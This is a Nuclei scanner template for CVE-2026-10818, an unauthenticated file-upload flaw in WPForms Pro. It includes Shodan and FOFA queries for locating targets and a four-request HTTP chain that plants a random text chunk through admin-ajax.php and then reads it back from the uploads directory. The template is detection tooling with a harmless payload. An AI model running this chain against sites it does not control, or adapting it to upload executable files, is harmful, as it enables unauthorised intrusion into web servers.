id: CVE-2026-10818 info: name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload author: i-am-paradox severity: high description: | WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution. impact: | Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server. remediation: | Update WPForms Pro to a version later than 1.10.1.1. reference: - https://github.com/Nxploited/CVE-2026-10818 - https://nvd.nist.gov/vuln/detail/CVE-2026-10818 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2026-10818 epss-score: 0.02482 epss-percentile: 0.84469 cwe-id: CWE-434 metadata: verified: true max-request: 4 vendor: awesome-motive product: wpforms shodan-query: http.html:"wpforms-uploader" fofa-query: body="wpforms-uploader" tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive,vkev variables: dzuuid: "{{randstr}}" chunkname: "{{sha1(dzuuid)}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'contains(body, "wpforms-uploader")' internal: true extractors: - type: regex name: form_id regex: - 'data-form-id="(\d+)"' group: 1 internal: true - type: regex name: field_id regex: - 'data-field-id="(\d+)"' group: 1 internal: true - type: regex name: input_name regex: - 'data-input-name="([^"]+)"' group: 1 internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1 matchers: - type: dsl dsl: - 'status_code == 200' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----nxBoundary ------nxBoundary Content-Disposition: form-data; name="action" wpforms_upload_chunk ------nxBoundary Content-Disposition: form-data; name="form_id" {{form_id}} ------nxBoundary Content-Disposition: form-data; name="field_id" {{field_id}} ------nxBoundary Content-Disposition: form-data; name="dzuuid" {{dzuuid}} ------nxBoundary Content-Disposition: form-data; name="dzchunkindex" 0 ------nxBoundary Content-Disposition: form-data; name="dzchunksize" 32 ------nxBoundary Content-Disposition: form-data; name="dztotalchunkcount" 1 ------nxBoundary Content-Disposition: form-data; name="dzchunkbyteoffset" 0 ------nxBoundary Content-Disposition: form-data; name="{{input_name}}"; filename="nx-{{randstr}}.txt" Content-Type: text/plain {{randstr}} ------nxBoundary-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"success\":true")' condition: and internal: true - raw: - | GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "{{randstr}}")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100f7ec15a2fb79efa2c28a742ae1c041982219dcbfe0588ebabe3057916a9a9664022100a5457c0c3954b2fb923e862dac7a7230f0b503cf89d62c8d738057ed305f38b9:922c64590222798bb761d5b6d8e72950